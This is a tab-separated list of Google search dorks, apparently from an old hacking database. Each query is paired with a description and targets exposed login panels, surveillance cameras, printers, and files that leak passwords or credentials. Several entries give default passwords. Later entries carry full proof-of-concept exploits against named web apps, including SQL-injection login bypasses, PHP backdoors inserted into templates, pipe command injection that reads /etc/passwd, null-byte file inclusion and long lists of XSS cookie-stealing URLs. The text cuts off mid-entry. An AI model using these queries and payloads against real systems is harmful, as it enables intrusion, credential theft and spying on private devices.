inurl:"port_255" -htm	inurl:"port_255" -htm	Another way to dig up some not yet dorked Lexmark and a couple of Dell printers.http://johnny.ihackstuff.com/index.php?name=PNphpBB2&file=viewtopic&t=2177
intitle:"SWW link" "Please wait....."	intitle:"SWW link" "Please wait....."	Zyxel Zywall
intitle:"InterJak Web Manager"	intitle:"InterJak Web Manager"	A router device by Uroam (formerly FilaNet), with email and VPN possibilities.
inurl:server.cfg rcon password	inurl:server.cfg rcon password	Counter strike rcon passwords, saved in the server.cfg.
intitle:"myBloggie 2.1.1..2 - by myWebland"	intitle:"myBloggie 2.1.1..2 - by myWebland"	myBloggie is affected by multiple vulnerabilities. http://www.securityfocus.com/bid/13507
intext:"powered by EZGuestbook"	intext:"powered by EZGuestbook"	HTMLJunction EZGuestbook is prone to a database disclosure vulnerability. Remote users may download the database http://www.securityfocus.com/bid/13543/info/
inurl::2082/frontend -demo	inurl::2082/frontend -demo	This allows you access to CPanel login dialogues/screens.
intitle:"osTicket :: Support Ticket System"	intitle:"osTicket :: Support Ticket System"	osTicket is a widely-used open source support ticket system. It is a lightweight support ticket tool written mainly using PHP scripting language. There are several vulnerabilities in the osTicket software that may allow for an attacker to take control of the affected web server, disclose sensitive data from the database, or read arbitrary files. These issues have been reported to the developers and a new updated version of osTicket is available for download. All affected users should upgrade their osTicket installations immediately.http://www.addict3d.org/i

		ndex.php?page=viewarticle&type=security&ID=3882
intext:"Powered by: Adobe PrintGear" inurl:admin	intext:"Powered by: Adobe PrintGear" inurl:admin	Printers equipped with Adobe's PrintGear technologyAdobe's PrintGear technology is a new printing architecture designed specifically for low-cost, high-quality output. At the core of this architecture is a custom chip, the PrintGear Imaging Processor (or PrintGear processor for short). This processor supplies the performance required for high-resolution output, yet helps keep the overall cost of the output device low.
intitle:"--- VIDEO WEB SERVER ---" intext:"Video Web Server" "Any time & Any where" username password	intitle:"--- VIDEO WEB SERVER ---" intext:"Video Web Server" "Any time & Any where" username password	AVTech Video Web Server is a surveillance producted that is directly connected to the internet It could enable the AVTech DVR series products or any camera to connect to Internet for remote monitoring or remote control. Besides, it could also enable 2 video input to connect to Internet for remote monitoring and recording. Besides the web interface it also offers an ftp server.
inurl:start.htm?scrw=	inurl:start.htm?scrw=	VPON (Video Picture On Net) is a video surveillance setup which seems to be used by a lot of businesses. In the FAQ posted on their site (http://www.aegismicro.com/navigation/indexsuppfaq.htm) they show a default username/password of webmonitor/oyo.=)
intitle:"Welcome to 602LAN SUITE *"	intitle:"Welcome to 602LAN SUITE *"	The 602LAN SUITE runs on a webserver called WEB602/1.04 and includes webmail.
inurl:sphpblog intext:"Powered by Simple PHP Blog 0.4.0"	inurl:sphpblog intext:"Powered by Simple PHP Blog 0.4.0"	simple PHP Blog is vulnerable to mutiple attacks:Vulnerabilities:~~~~~~~~~~~~~~~~A. Full Path disclosuresB. XSS in search.phpC. Critical Information dislosures http://www.securityfocus.com/archive/1/395994

intitle:"SSHVnc Applet"OR intitle:"SSHTerm Applet" -uni-klu.ac.at -net/viewcvs.py -iphoting.iphoting.com	intitle:"SSHVnc Applet"OR intitle:"SSHTerm Applet"	sSHTerm Applet en SSHVnc Applet pages.
"To view the Web interface of the SpeedTouch, JavaScript must be supported and enabled on your browser!" -site:webblernet.nl -site:ihackstuff.com -sit	"To view the Web interface of the SpeedTouch, Java	speedtouch 510 DSL modem devices that were once unprotected. That may have changed by now.
(intitle:"502 Proxy Error")|(intitle:"503 Proxy Error") "The proxy server could not handle the request" -topic -mail -4suite -list -site:geocrawler.co	(intitle:"502 Proxy Error")|(intitle:"503 Proxy Error") "The proxy server could not handle the request" -topic -mail -4suite -list -site:geocrawler.co	A reverse proxy is a gateway for servers, and enables one web server to provide content from another transparently. These are often implemented to improve security or performance.
intitle:"Dell *" inurl:port_0	intitle:"Dell *" inurl:port_0	oA few Online Dell Printers, status, paper, toner levels, ips macs, the usual.. (Lexmark and Dell seem to share the same embedded webserver it seems, try changing the vendor name.)
intext:"powered by Hosting Controller" intitle:Hosting.Controller	intext:"powered by Hosting Controller" intitle:Hosting.Controller	Description:==========Hosting Controller is a complete array of Web hosting automation tools for the Windows Server family platform. It is the only multilingual software package you need to put your Web hosting business on autopilot.The HC has its own complete billing solution which is tightly integrated within Control Panel & does all the invoicing & billing.Vuln:======A remote authenticated user can invoke 'resellerdefaults.asp' to view reseller

		add-on plans and then load the following type of URL to view the details of a target reseller's plans:The 'resellerresources.asp' script does not properly validate user-supplied input in the 'resourceid' parameter. A remote authenticated user can supply specially crafted parameter values to execute SQL commands on the underlying database. This can be exploited, for example, to delete a reseller add-on plan.More on Vuln/Exploit==========http://securitytracker.com/alerts/2005/May/1014071.html
intitle:"PacketShaper Customer Login"	intitle:"PacketShaper Customer Login"	PacketShaper Login.Provides login access for PacketShaper Customers.
(intitle:"PacketShaper Login")|(intitle:"PacketShaper Customer Login")	(intitle:"PacketShaper Login")|(intitle:"PacketShaper Customer Login")	Packeteer's PacketShaper is an application traffic management system that monitors, controls, and accelerates application performance over the WAN Internet.
inurl:Citrix/MetaFrame/default/default.aspx	inurl:Citrix/MetaFrame/default/default.aspx	MetaFrame Presentation Server
inurl:exchweb/bin/auth/owalogon.asp	inurl:exchweb/bin/auth/owalogon.asp	Outlook Web Access Login POrtal
inurl:/SUSAdmin intitle:"Microsoft Software Update Services"	inurl:/SUSAdmin intitle:"Microsoft Software Update Services"	Microsoft SUS Server is a Patch Management Tool for Windows 2000, XP and 2003 systems.It can be used to gain access to a Patch Deployment server. If you successfully login to that server you can possibly compromise all the other network servers.
intitle:"Netopia Router (*.)""to view this site"	intitle:"Netopia Router (*.)""to view this site"	Web admin for netopia routersThis Web tool provides access to information about the current status of your router and connections.
intitle:"VisNetic WebMail" inurl:"/mail/"	intitle:"VisNetic WebMail" inurl:"/mail/"	VisNetic WebMail is a built-in web mail server that allows VisNetic Mail Server account holders to access their email messages, folders and address

		books from any standard web browser on an Internet enabled computer.
inurl:perform.ini filetype:ini	inurl:perform.ini filetype:ini	mIRC Passwords For Nicks & Channels in channel\[chanfolder] section of mirc.ini you can find 2 type of "private" information - secret channels (that is +ps is not listed everythere) and password protected channels - passwords stored in plaintext)
(cam1java)|(cam2java)|(cam3java)|(cam4java)|(cam5java)|(cam6java) -navy.mil -backflip -power.ne.jp	(cam1java)|(cam2java)|(cam3java)|(cam4java)|(cam5java)|(cam6java) -navy.mil -backflip -power.ne.jp	Kpix Java Based Traffic Cameras. Based at CBS broadcasting for San Fransisco, Oakland, and San Jose.
allintitle:"Welcome to the Cyclades"	allintitle:"Welcome to the Cyclades"	This search reveals the login page for the Cyclades TS1000 and TS2000 Web Management Service. The Cyclades TS1000 and TS200 devices are Console servers, based on a cut down Linux version. These lovely devices sit on the network with console cables attached to them, so that you then gain access to this device, and then have console access to any of the hosts connected to the console ports. :-)The default username and password for these devices is, root/tslinux.This query currently only returns pages available in Google's cache (but in the future more devices may be returned).
intitle:"XcAuction Lite" | "DRIVEN BY XCENT" Lite inurl:admin	intitle:"XcAuctionLite" | "DRIVEN BY XCENT" Lite inurl:admin	This query reveals login pages for the administration of XcAuction and XcClassified Lite.."XcAuction is a powerful and complete auction package that allows you to add auction capabilities to any web site.""XcClassified allows you to offer free or fee based classified ads to your site visitors. It integrates easily into your existing web site design and offers many features."
intext:"Powered	intext:"Powered by X-Cart:	X-Cart (version 4.0.8) has multiple

by X-Cart: shopping cart software" -site:x-cart.com	shopping cart software" -site:x-cart.com	input validation vulnerabilities. There doesn't seem to be any way to search for specific versions of the software with Google. See http://www.securitytracker.com/alerts/2005/May/1014077.html for more information.
intitle:"PHPstat" intext:"Browser" intext:"PHPstat setup"	intitle:"PHPstat" intext:"Browser" intext:"PHPstat setup"	Phpstat shows nice statistical informatino about a website's visitors. Certain versions are also contain vulnerabilities: http://www.soulblack.com.ar/repo/papers/advisory/PhpStat_advisory.txt
"portailphp v1.3" inurl:"index.php?affiche" inurl:"PortailPHP" -site:safari-msi.com	"portailphp v1.3" inurl:"index.php?affiche" inurl:"PortailPHP" -site:safari-msi.com	Vulnerability has been found in parameter "id". If this variableAny value it is possible to replace it with a sign ' is transferredSince this parameter is involved in all modules, all of themAre vulnerable.It occurs because of absence of a filtration of parameter id.Exampleshttp://example/index.php?affiche=News&id='[SQL inj]http://example/index.php?affiche=File&id='[SQL inj]http://example/index.php?affiche=Liens&id='[SQL inj]http://example/index.php?affiche=Faq&id='[SQL inj]The conclusionVulnerability is found out in version 1.3, on other versionsDid not check. Probably they too are vulnerable.
+intext:"powered by MyBulletinBoard"	+intext:"powered by MyBulletinBoard"	MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. There is an SQL Injection Exploit available for MyBulletinBoard (MyBB)
inurl:"S=320x240" | inurl:"S=160x120" inurl:"Q=Mobile"	inurl:"S=320x240" | inurl:"S=160x120" inurl:"Q=Mob	Mobile cameras? Not sure what camera type this is for but they are all from Asia and no password is required to view them.. multiple cams and camera views. The &N=* at the end of the URL changes the language of the camera control links, &N=0 is english.This is a slightly modified

		version of WarChylde's query, which gives more results.
inurl:XcCDONTS.asp	inurl:XcCDONTS.asp	This query reveals an .asp script which can often be used to send anonymous emails from fake senders. When combined with a proxy, the usefulness of these scripts is obvious!
intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"	intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"	This will search for usernames and passwords for steam (www.steampowered.com) taken from the SteamApp.cfg file.
inurl:"CgiStart?page="	inurl:"CgiStart?page="	This search reveals even more Panasonic IP cameras!
intext:"Powered by flatnuke-2.5.3" +"Get RSS News" -demo	intext:"Powered by flatnuke-2.5.3" +"Get RSS News" -demo	Description of VulnerabilitiesMultiple vulnerabilities in FlatNuke have been reported, which can be exploited by remote users to trigger denial of service conditions, execute arbitrary PHP code, conduct Cross-Site Scripting attacks and disclose arbitrary images and system information.If the "/flatnuke/foot_news.php" script is accessed directly a while() call is made that enters an infinite loop, leading to full CPU utilisation.[..]User-supplied input passed to the "image" parameter in the "thumb.php" script is not correctly validated. This can be exploited to disclose arbitrary images from external and local resources via directory traversal attacks, or to disclose the installation path.It is also possible to disclose the system path by accessing certain scripts directly or specially formed parameters.
inurl:pass.dat	filetype:dat inurl:pass.dat	Accesses passwords mostly in cgibin but not all the timeCan find passwords + usernames (sometimes username), some unecrypted some not
intext:"Welcome to" inurl:"cp" intitle:"H-	intext:"Welcome to" inurl:"cp" intitle:"H-SPHERE" inurl:"begin.html" -Fee	This gives results for hosting plans that don't have associated fees, so anyone can sign up with false information and

SPHERE" inurl:"begin.html" -Fee		no credit card details
intitle:"phpinfo()" +"mysql.default_password" +"Zend Scripting Language Engine"	intitle:"phpinfo()" +"mysql.default_password" +"Zend Scripting Language Engine"	This will look throught default phpinfo pages for ones that have a default mysql password.
intitle:"configuration" inurl:port_0	intitle:"configuration" inurl:port_0	More dell and lexmark printers, The usual things included.
intitle:"Dell Laser Printer M5200" port_0	intitle:"Dell Laser Printer M5200" port_0	Dell Laser Printer M5200
printers/printman.html	printers/printman.html	some interesting information on printer status including Name, Location, Model, Pagecount, Action, Status. This summary page also presents several printers in one list, and the status logs reveal more sensitive information like email addresses.
"RICOH Network Printer D model-Restore Factory"	"RICOH Network Printer D model-Restore Factory"	Not a whole lot here.
intitle:"GCC WebAdmin" -gcc.ru	intitle:"GCC WebAdmin" -gcc.ru	All sorts of various printer status information
intitle:"XMail Web Administration Interface" intext:Login intext:password	intitle:"XMail Web Administration Interface" intext:Login intext:password	This search will find the Web Administration Interface for servers running XMail."XMail is an Internet and intranet mail server featuring an SMTP server, POP3 server, finger server, multiple domains, no need for users to have a real system account, SMTP relay checking", etc...
intitle:"AXIS 240 Camera Server" intext:"server push" -help	intitle:"AXIS 240 Camera Server" intext:"server push" -help	This search finds AXIS 240 Camera Servers (as opposed to just the cameras) which can host many cameras, that may not be found in other searches, since they are not necessarily IP based.
"html allowed" guestbook	"html allowed" guestbook	When this is typed in google it finds websites which have HTML Enabled guestbooks. This is really stupid as

		users could totally mess up their guestbook by adding commands like or adding a loop javascript pop-up
intext:"Powered By: Snitz Forums 2000 Version 3.4.00..03"	intext:"Powered By: Snitz Forums 2000 Version 3.4.00..03"	snitz Forum 2000 v 3.4.03 and older is vulnerable to many things including XSS. See http://www.gulftech.org/?node=research&article_id=00012-06162003. This is a sketchy search, finding vulnerable versions 3.4.00-3.4.03. Older versions are vulnerable as well.
filetype:QBW qbw	filetype:QBW qbw	Quickbooks is software to manage your business's financials. Invoicing, banking, payroll, etc, etc. Its a nice software package but their files (.qbw) are simply password protected in most cases and online programs may be available to remove password protection. SSNs (depending on the company), account numbers of employees for direct deposit, customer lists, etc may be available. This could lead to identity theft, or worse...
inurl:cgi-bin inurl:calendar.cfg	inurl:cgi-bin inurl:calendar.cfg	CGI Calendar (Perl) configuration file reveals information including passwords for the program.
inurl:"/login.asp?folder=" "Powered by: i-Gallery 3.3"	inurl:"/login.asp?folder=" "Powered by: i-Gallery 3.3"	i-Gallery 3.3 (and possibly older) is vulnerable to many things, including /../ traversals.http://www.packetstormsecurity.org/0506-exploits/igallery33.txt
intitle:"Login to Cacti"	intitle:"Login to Cacti"	Cacti is a complete network graphing solution designed to harness the power of RRDTool's data storage and graphing functionality.
"set up the administrator user" inurl:pivot	"set up the administrator user" inurl:pivot	Using this, you can find sites with a Pivot weblog installed but not set up. The default set up screen on Pivot has you create an administrator account, so, using this, you can create an account on someone else's weblog, post, and manage the blog.
inurl:textpattern/index.php	inurl:textpattern/index.php	Login portal for textpattern a CMS/Blogger tool.

tilt intitle:"Live View / - AXIS" | inurl:view/view.shtml	tilt intitle:"Live View / - AXIS" | inurl:view/view.shtml	A small modification to the AXIS camera search - it now returns cameras with pan / tilt, which is much more fun!
"powered by PhpBB 2.0.15" -site:phpbb.com	"powered by PhpBB 2.0.15" -site:phpbb.com	Another php vulnerabilty, as seen here http://www.frsirt.com/exploits/20050704.phpbbSecureD.pl.phpphpBB 2.0.15 Viewtopic.PHP Remote Code Execution VulnerabilityThis exploit gives the user all the details about the databaseconnection such as database host, username, password anddatabase name.
filetype:PS ps	filetype:PS ps	PS is for "postscript"...which basically means you get the high quality press data for documents. Just run 'adobe distiller' or alike to produce a readable PDF. Found items include complete books as sold on amazon, annual reports and even juicier stuff.
"You have requested access to a restricted area of our website. Please authenticate yourself to continue."	"You have requested access to a restricted area of our website. Please authenticate yourself to continue."	BackgroundEasySite is a Content Management System (CMS) build on PHP and MySQL. Many easysite servers still use the default username and password, however all of them have been contacted about this problem.
intitle:"pictures thumbnails" site:pictures.sprintpcs.com	intitle:"pictures thumbnails" site:pictures.sprintpcs.com	This search reveals the photo albums taken by Sprint PCS customers. Pictures taken with Sprint's cell phone service can be shared on their website. This search exposes the thumbnail album, only if the user has elected to share the photo album.Nothing like the Paris Hilton pictures, but there are pictures of people drunk at parties, dancing, girlfriens and so on.
allinurl:cdkey.txt	allinurl:cdkey.txt	cdkeys
intitle:"TANDBERG" "This page requires a frame capable browser!"	intitle:"TANDBERG" "This page requires a frame capable browser!"	Tandberg is a manufacturer of videoconferencing A videoconference (also known as a video teleconference) is a meeting among persons where both telephony and closed circuit television technologies are utilized

		simultaneously.
intitle:"Middle frame of Videoconference Management System" ext:htm	intitle:"Middle frame of Videoconference Management System" ext:htm	Tandberg is a manufacturer of videoconferencing A videoconference (also known as a video teleconference) is a meeting among persons where both telephony and closed circuit television technologies are utilized simultaneously.
intitle:"Veo Observer Web Client"	intitle:"Veo Observer Web Client"	Another online camera search. This one uses ActiveX thingies, so you need a M$ browser. Append "LGI_en.htm" to the URL for the english version. The embedded webserver is called Ubicom/1.1. Defaults are admin/password. The manual very cleary warns owners to change that.
intitle:"TOPdesk ApplicationServer"	intitle:"TOPdesk ApplicationServer"	Topdesk is some kind of incident ticket system with a webinterface. It requires: Windows 98 and Windows NT, Windows 2000, Windows XP, OS/2. It installs a webserver called: Jetty/4.2.2 and the default password (operator login) is admin/admin. The HTTP server header reveals the OS it's running on.
intitle:"Welcome to Mailtraq WebMail"	intitle:"Welcome to Mailtraq WebMail"	Mailtraq WebMail is just another a web-based e-mail client. This is the login page.
intitle:"Java Applet Page" inurl:ml	intitle:"Java Applet Page" inurl:ml	Another Standalone Network Camera.Default Login: remove wg_jwebeye.ml to get a nice clue ..Server: wg_httpd/1.0(based Boa/0.92q)
intitle:"WEBDVR" -inurl:product -inurl:demo	intitle:"WEBDVR" -inurl:product -inurl:demo	DVR is a generic name used to describe the recording process with a digital cam (digitial video recording). This search finds several manufactors like Kodicom DVR Systems, i3 DVR, and others I can't identify.
"This section is for Administrators only. If you are an administrator then please"	"This section is for Administrators only. If you are an administrator then please"	Nothing special, just one more set of login pages, but the "Administrators only" line is a classic.

intitle:"Member Login" "NOTE: Your browser must have cookies enabled in order to log into the site." ext:php OR ext:cgi	intitle:"Member Login" "NOTE: Your browser must have cookies enabled in order to log into the site." ext:php OR ext:cgi	Pretty standered login pages, they all have various differences but it appears that they use the same script or software.
site:www.mailinator.com inurl:ShowMail.do	site:www.mailinator.com inurl:ShowMail.do	Mailinator.com allows people to use temporary email boxes. Read the site, I won't explain here. Anyway, there are emails in this site that have no password protection and potentially contain usernames, passwords, and email data. The only lock against unwanted viewers is the email address which can be randomized.
filetype:mdb "standard jet"	filetype:mdb "standard jet" (password | username | user | pass)	These Microsoft Access Database files may contain usernames, passwords or simply prompts for such data.
inurl:"default/login.php" intitle:"kerio"	inurl:"default/login.php" intitle:"kerio"	This dork reveals login pages for Kerio Mail server. Kerio MailServer is a state-of-the-art groupware server allowing companies to collaborate via email, shared contacts, shared calendars and tasks. Download can be found here http://www.kerio.com/kms_download.html.
ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:"budget approved") inurl:confidential	ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:"budget approved") inurl:confidential	Although this search is a bit broken (the file extensions don't always work), it reveals interesting-looking documents which may contain potentially confidential information.
intitle:"V1" "welcome to phone settings" password	intitle:"V1" "welcome to phone settings" password	This is a small search for the Italk BB899 Phone Adaptor login page. iTalkBB is a local and long distance calling service provided by iTalk Broadband Corporation. It combines voice and internet networks to provide inbound and outbound long distance

		and local calling solutions.Depending on the version of firmware preinstalled on your IP Box, the password to get into the setting pages may be either 12345678 or 87654321.
intitle:"HP ProCurve Switch *" "This product requires a frame capable browser."	intitle:"HP ProCurve Switch *" "This product requi	HP ProCurve Switch web management pages, found by their [noscript] html tags. Please note: this search only gives results from certain source IP addresses and I can't tell you why (check forum topic number 2609 for details).
"Powered by Gravity Board"	"Powered by Gravity Board"	4.22 07/08/2005 Gravity Board X v1.1 (possibly prior versions) Remote code execution, SQL Injection / Login Bypass, cross site scripting, path disclosure poc software: author site: http://www.gravityboardx.com/ a) Sql Injection / Login Bypass: If magic_quotes off, A user can bypass login check and grant administrator privileges on target system: login: ' or isnull(1/0) /* password: whatever b) Cross site scripting poc: b.1)After he login as administrator he can edit template to insert evil javascript code. Try to insert at the end of the template these lines: alert(document.cookie) b.2)A user can craft a malicious url like this to access target user cookies: http://[target]/[path]/deletethread.php?board_id=">alert(document.cookie) c) Remote commands/php code execution: c.1) Always editing the template, attacker can leave a backdoor in target system, example, at the end of template: After, the attacker can launch commands by this urls: http://[target]/[path]/index.php?cmd=ls%20-la to list directories... http://[target]/[path]/index.php?cmd=cat%20/etc/passwd to see Unix /etc/passwd file http://[target]/[path]/index.php?cmd=cat%20config.php to see database username/password c.2) An

		IMPORTANT NOTE: You can edit template without to be logged in as administator, calling editcss.php script, look at the code of this script: if($fp = fopen('gbxfinal.css','w')){ fwrite($fp, $csscontent); fclose($fp); echo ''; }else{ echo 'Gravity Board X was unable to save changes to the CSS template.'; } you can easily deface the forum and/or insert a backdoor calling an url like this: http://[target]/[path]/editcss.php?csscontent= then execute commands: http://[target]/[path]/index?cmd=[command] It's also possible to disclose path: d) path disclosure: http://[target]/[path]/deletethread.php?perm=1 http://[target]/[path]/ban.php http://[target]/[path]/addnews.php http://[target]/[path]/banned.php http://[target]/[path]/boardstats.php http://[target]/[path]/adminform.php http://[target]/[path]/forms/admininfo.php http://[target]/[path]/forms/announcements.php http://[target]/[path]/forms/banform.php ans so on...calling scripts in /forms directory
"Powered by SilverNews"	"Powered by SilverNews"	silvernews 2.0.3 (possibly previous versions) SQL Injection / Login Bypass / Remote commands execution / cross site scripting software: author site: http://www.silver-scripts.de/scripts.php?l=en&script=SilverNews SQL Injection / Login bypass: A user can bypass admin password check, if magic_quotes is set to off: user: ' or isnull(1/0) /* pass: whatever remote commands execution: now, new admin can edit template, clicking on Templates -> Global footer, can add the lines: //********** TEMPLATE; } } system($HTTP_GET_VARS[comman

		d]); /* to leave a backdoor in template file /templates/tpl_global.php now can launch system commands on the target system with theese urls: http://[target]/[path]//templates/tpl_global.php?command=ls%20-la to list directories http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/etc/passwd to see /etc/passwd file http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/[path_to_config_file]/data.inc.php to see Mysql database password cross site scripting: same way, a user can hide evil javascript code in template
PHPFreeNews inurl:Admin.php	PHPFreeNews inurl:Admin.php	29/07/2005 8.36.03PHPFreeNews Version 1.32 (& previous) sql injection/login bypass, cross site scripting, path disclosure, information disclosure author site: http://www.phpfreenews.co.uk/Main_Intro.phpxss poc:http://[target]/[path]/inc/Footer.php?ScriptVersion=alert(document.cookie) http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&NewsDir="")}//-->alert(document.cookie)http://[target]/[path]/inc/ScriptFunctions.php?EnableRatings=1&NewsDir="")}//-->alert(document.cookie)http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&NewsDir="")}//-->alert(document.cookie)http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&PopupWidth="")}//-->alert(document.cookie)http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&PopupHeight="")}//-- >alert(document.cookie)http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&PopupWidth="")}//-->alert(document.cookie)http://[target]/[path]/inc/ScriptFunctions.php?EnableC

		omments=1&PopupHeight=")}//--> >alert(document.cookie)also a user can craft a url to redirect a victim to an evil site:http://[target]/[path]/inc/Logout.php?AdminScript=http://[evil_site]/[evil_script]path disclosure:http://[target]/[path]/inc/ArchiveOldNews.phphttp://[target]/[path]/inc/Categories.phphttp://[target]/[path]/inc/CheckLogout.phphttp://[target]/[path]/inc/CommentsApproval.phphttp://[target]/[path]/inc/Images.phphttp://[target]/[path]/inc/NewsList.phphttp://[target]/[path]/inc/Password.phphttp://[target]/[path]/inc/Post.phphttp://[target]/[path]/inc/PostsApproval.phphttp://[target]/[path]/inc/PurgeOldNews.phphttp://[target]/[path]/inc/SetSticky.phphttp://[target]/[path]/inc/SetVisible.phphttp://[target]/[path]/inc/Statistics.phphttp://[target]/[path]/inc/Template.phphttp://[target]/[path]/inc/UserDefinedCodes.phphttp://[target]/[path]/inc/Users.phpinformation disclosure:googledork:PHPFreeNews inurl:Admin.php(with this, you can passively fingerprint the server, PHP & MySQL version are in Google description...because this info are shownwed with non-chalance in admin.php page ;))default password:login: Adminpass: AdminMySQL Injection / Login Bypass in previous versions:login: Adminpassword: ') or isnull(1/0) or ('a'='anote: all string, not consider 'or'in 1.32 version LoginUsername and LoginPassword vars are addslashed... but, try this: login: whateverpass: //') or isnull(1/0) /* this is definetely patched in 1.40 version
inurl:nquser.php filetype:php	inurl:nquser.php filetype:php	Netquery 3.1 remote commands execution, cross site scripting, information disclosure poc exploit software: author site: http://www.virtech.org/tools/ a user can execute command on target system by

		PING panel, if enabled like often happens, using pipe char on input text "Ping IP Address or Host Name", example: | cat /etc/passwd then you will see plain text password file | pwd to see current path | rm [pwd_output]/logs/nq_log.txt to delete log file... disclosure of user activity: if enabled, a user can view clear text log file through url: http://[target]/[path]/logs/nq_log.txt xss: http://[target]/[path]/submit.php?portnum="/>alert(document.cookie) http://[target]/[path]/nqgeoip2.php?step=alert(document.cookie) http://[target]/[path]/nqgeoip2.php?body=alert(document.cookie) http://[target]/[path]/nqgeoip.php?step=alert(document.cookie) http://[target]/[path]/nqports.php?step=alert(document.cookie) http://[target]/[path]/nqports2.php?step=alert(document.cookie) http://[target]/[path]/nqports2.php?body=alert(document.cookie) http://[target]/[path]/portlist.php?portnum=alert(document.cookie) a user can use on-line Netquery installations like proxy servers to launch exploit from HTTP GET request panel, example: exploiting Phpbb 2.0.15: make a get request of http://[vulnerable_server]/[path]/viewtopic.php?t=[existing_topic]&highlight='.system($HTTP_GET_VARS[command].'&command=cat%20/etc/passwd
"Powered By: Simplicity oF Upload" inurl:download.php | inurl:upload.php	"Powered By: Simplicity oF Upload" inurl:download.php | inurl:upload.php	26/07/2005 16.09.18Simplicity OF Upload 1.3 (possibly prior versons) remote code execution & cross site scriptingsoftware: author site: http://www.phpsimplicity.com/scripts.php?id=3remote commands execution:problem at line 25-30: ...//check for language overriding..if (isset($_GET['language'])) $language =

		strtolower($_GET['language']);//now we include the language filerequire_once("$language.lng");...you can include whatever adding a null byte to "language" parameter value:example:http://localhost:30/simply/download.php?language=upload.php%00you will see upload & download page together :)so you can upload a cmd.gif (when you upload a .php file, usually it isrenamed to .html...) file with this php code inside to executecommands:then try this url:http://[target]/[path]/download.php?language=cmd.gif%00&command=lsto list directorieshttp://[target]/[path]/download.php?language=cmd.gif%00&command=cat%20/etc/passwdto show /etc/passwd filecross site scripting:also, a remote user can supply a specially crafted URL to redirect other peopleto an evil page:http://[target]/[path]/download.php?language=http://[evil_site]/[evil_page]%00googledork:"Powered By: Simplicity oF Upload"
"Powered by FlexPHPNews" inurl:news | inurl:press	"Powered by FlexPHPNews" inurl:news | inurl:press	24/07/2005 2.38.13Flex PHPNews 0.0.4 login bypass/ sql injection, cross site scripting & resource consumption poc exploitsoftware:author site:http://www.china-on-site.com/flexphpnews/downloads.phpxss / cookie disclosure:http://[target]/[path]/index.php?front_indextitle=alert(document.cookie)http://[target]/[path]/index.php?front_searchsubmit=">alert(document.cookie)http://[target]/[path]/index.php?front_latestnews=">alert(document.cookie)http://[target]/[path]/news.php?newsid=">alert(document.cookie)http://[target]/[path]/news.php?front_rating=">alert(document.cookie)http://[target]/[path]/news.php?salt=">alert(document.cookie)http://[target]/[path]/news.php?front_le

		tmerateit=">alert(document.cookie)http://[target]/[path]/news.php?front_ratebest=">alert(document.cookie)http://[target]/[path]/news.php?front_ratesubmit=">alert(document.cookie)http://[target]/[path]/news.php?front_searchsubmit=">alert(document.cookie)http://[target]/[path]/search.php?front_searchresult=alert(document.cookie)http://[target]/[path]/search.php?front_searchsubmit=">alert(document.cookie)http://[target]/[path]/catalog.php?front_searchsubmit=">alert(document.cookie)http://[target]/[path]/catalog.php?front_latestnews=">alert(document.cookie)http://[target]/[path]/catalog.php?catalogid=">alert(document.cookie)path disclosure:http://[target]/[path]/admin/usercheck.php?logincheck=%00denial of service / resources consumption:http://[target]/[path]/news.php?prenumber=99999999999999999999999999999999http://[target]/[path]/news.php?nextnumber=99999999999999999999999999999999($prenumber and $nextnumber are uninitialized final values of a loop...) sql injection / bypass authentication:go to login page:http://[target]/[path]/admin/(usually admin if not changed)login as user: ' OR 'a'='aand pass : ' OR 'a'='a boom! you're admin ...the problem is in usercheck.php at line 5:$sql = "select username from newsadmin where username='$checkuser' and password='$checkpass'";you can post always true statements, like 'a'='a'solution: replace $checkuser and $checkpass vars with your username and pass, by the moment
"Powered by FunkBoard"	"Powered by FunkBoard"	FunkBoard V0.66CF (possibly prior versions) cross site scripting, possible database username/password disclosure & board takeover, possible remote code execution software: author site: http://www.[path_to_funkboard].co.uk/

		xss: http://[target]/[path_to_funkboard]/editpost.php?fbusername=">alert(document.cookie) http://[target]/[path_to_funkboard]/editpost.php?fbpassword=">alert(document.cookie) http://[target]/[path_to_funkboard]/prefs.php?fbpassword=">alert(document.cookie) http://[target]/[path_to_funkboard]/prefs.php?fbusername=">alert(document.cookie) http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbusername=">alert(document.cookie) http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbpassword=">alert(document.cookie) http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&subject=">alert(document.cookie) http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbusername=">alert(document.cookie) http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbpassword=">alert(document.cookie) http://[target]/[path_to_funkboard]/profile.php?fbusername=">alert(document.cookie) http://[target]/[path_to_funkboard]/profile.php?fbpassword=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?fbusername=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?fmail=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?www=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?icq=">alert(document.cookie) http://[target]/[path_to_funkboard]/regi

